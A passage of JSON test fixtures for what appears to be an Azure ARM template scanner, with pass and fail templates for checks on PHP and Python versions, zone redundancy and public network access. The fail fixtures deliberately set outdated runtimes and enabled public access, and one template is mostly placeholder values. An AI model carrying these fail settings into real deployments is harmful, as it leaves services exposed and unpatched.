    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"fail\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]\",\n        \"httpsOnly\": true,\n        \"siteConfig\": {\n          \"phpVersion\": \"7.4\",\n          \"scmType\": \"someValue\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePHPVersion/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]\",\n        \"httpsOnly\": true,\n        \"siteConfig\": {\n          \"phpVersion\": \"8.1\",\n          \"scmType\": \"someValue\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePlanZoneRedundant/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"zoneRedundant\": false,\n        \"resourceGroupName\": \"[resourceGroup().name]\",\n        \"osType\": \"Linux\",\n        \"sku\": {\n          \"name\": \"P1v2\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePlanZoneRedundant/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"resourceGroupName\": \"[resourceGroup().name]\",\n        \"osType\": \"Linux\",\n        \"sku\": {\n          \"name\": \"P1v2\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePlanZoneRedundant/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"zoneRedundant\": true,\n        \"resourceGroupName\": \"[resourceGroup().name]\",\n        \"osType\": \"Linux\",\n        \"sku\": {\n          \"name\": \"P1v2\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePublicAccessDisabled/configFail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/config\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"configFail\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]\",\n        \"publicNetworkAccess\": \"Enabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePublicAccessDisabled/configPass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/config\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"configPass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]\",\n        \"publicNetworkAccess\": \"Disabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePublicAccessDisabled/linuxDefault.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"linuxDefault\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePublicAccessDisabled/linuxFail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"linuxFail\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]\",\n        \"publicNetworkAccess\": \"Enabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePublicAccessDisabled/linuxPass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"linuxPass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]\",\n        \"publicNetworkAccess\": \"Disabled\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePublicAccessDisabled/slotFail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"slotFail\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]\",\n        \"publicNetworkAccess\": \"Enabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePublicAccessDisabled/slotPass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"slotPass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]\",\n        \"publicNetworkAccess\": \"Disabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePublicAccessDisabled/windowsDefault.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"windowsDefault\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePublicAccessDisabled/windowsFail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"windowsFail\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]\",\n        \"publicNetworkAccess\": \"Enabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePublicAccessDisabled/windowsPass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"windowsPass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]\",\n        \"publicNetworkAccess\": \"Disabled\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePythonVersion/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"fail\",\n      \"version\": \"0.25.53.49325\",\n      \"templateHash\": \"16144177164140676603\"\n    }\n  },\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('webApp-{0}', uniqueString(resourceGroup().id))]\",\n      \"minLength\": 2,\n      \"metadata\": {\n        \"description\": \"Web app name.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"F1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan.\"\n      }\n    },\n    \"language\": {\n      \"type\": \"string\",\n      \"defaultValue\": \".net\",\n      \"allowedValues\": [\n        \".net\",\n        \"php\",\n        \"node\",\n        \"html\"\n      ],\n      \"metadata\": {\n        \"description\": \"The language stack of the app.\"\n      }\n    },\n    \"helloWorld\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"metadata\": {\n        \"description\": \"true = deploy a sample Hello World app.\"\n      }\n    },\n    \"repoUrl\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\",\n      \"metadata\": {\n        \"description\": \"Optional Git Repo URL\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanPortalName\": \"[format('AppServicePlan-{0}', parameters('webAppName'))]\",\n    \"gitRepoReference\": {\n      \".net\": \"https://github.com/Azure-Samples/app-service-web-dotnet-get-started\",\n      \"node\": \"https://github.com/Azure-Samples/nodejs-docs-hello-world\",\n      \"php\": \"https://github.com/Azure-Samples/php-docs-hello-world\",\n      \"html\": \"https://github.com/Azure-Samples/html-docs-hello-world\"\n    },\n    \"gitRepoUrl\": \"[if(bool(parameters('helloWorld')), variables('gitRepoReference')[toLower(parameters('language'))], parameters('repoUrl'))]\",\n    \"configReference\": {\n      \".net\": {\n        \"comments\": \".Net app. No additional configuration needed.\"\n      },\n      \"html\": {\n        \"comments\": \"HTML app. No additional configuration needed.\"\n      },\n      \"php\": {\n        \"phpVersion\": \"7.4\"\n      },\n      \"node\": {\n        \"appSettings\": [\n          {\n            \"name\": \"WEBSITE_NODE_DEFAULT_VERSION\",\n            \"value\": \"12.15.0\"\n          }\n        ]\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"fail\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"3.4\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePythonVersion/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.25.53.49325\",\n      \"templateHash\": \"16144177164140676603\"\n    }\n  },\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('webApp-{0}', uniqueString(resourceGroup().id))]\",\n      \"minLength\": 2,\n      \"metadata\": {\n        \"description\": \"Web app name.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"F1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan.\"\n      }\n    },\n    \"language\": {\n      \"type\": \"string\",\n      \"defaultValue\": \".net\",\n      \"allowedValues\": [\n        \".net\",\n        \"php\",\n        \"node\",\n        \"html\"\n      ],\n      \"metadata\": {\n        \"description\": \"The language stack of the app.\"\n      }\n    },\n    \"helloWorld\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"metadata\": {\n        \"description\": \"true = deploy a sample Hello World app.\"\n      }\n    },\n    \"repoUrl\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\",\n      \"metadata\": {\n        \"description\": \"Optional Git Repo URL\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanPortalName\": \"[format('AppServicePlan-{0}', parameters('webAppName'))]\",\n    \"gitRepoReference\": {\n      \".net\": \"https://github.com/Azure-Samples/app-service-web-dotnet-get-started\",\n      \"node\": \"https://github.com/Azure-Samples/nodejs-docs-hello-world\",\n      \"php\": \"https://github.com/Azure-Samples/php-docs-hello-world\",\n      \"html\": \"https://github.com/Azure-Samples/html-docs-hello-world\"\n    },\n    \"gitRepoUrl\": \"[if(bool(parameters('helloWorld')), variables('gitRepoReference')[toLower(parameters('language'))], parameters('repoUrl'))]\",\n    \"configReference\": {\n      \".net\": {\n        \"comments\": \".Net app. No additional configuration needed.\"\n      },\n      \"html\": {\n        \"comments\": \"HTML app. No additional configuration needed.\"\n      },\n      \"php\": {\n        \"phpVersion\": \"7.4\"\n      },\n      \"node\": {\n        \"appSettings\": [\n          {\n            \"name\": \"WEBSITE_NODE_DEFAULT_VERSION\",\n            \"value\": \"12.15.0\"\n          }\n        ]\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"pass\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n      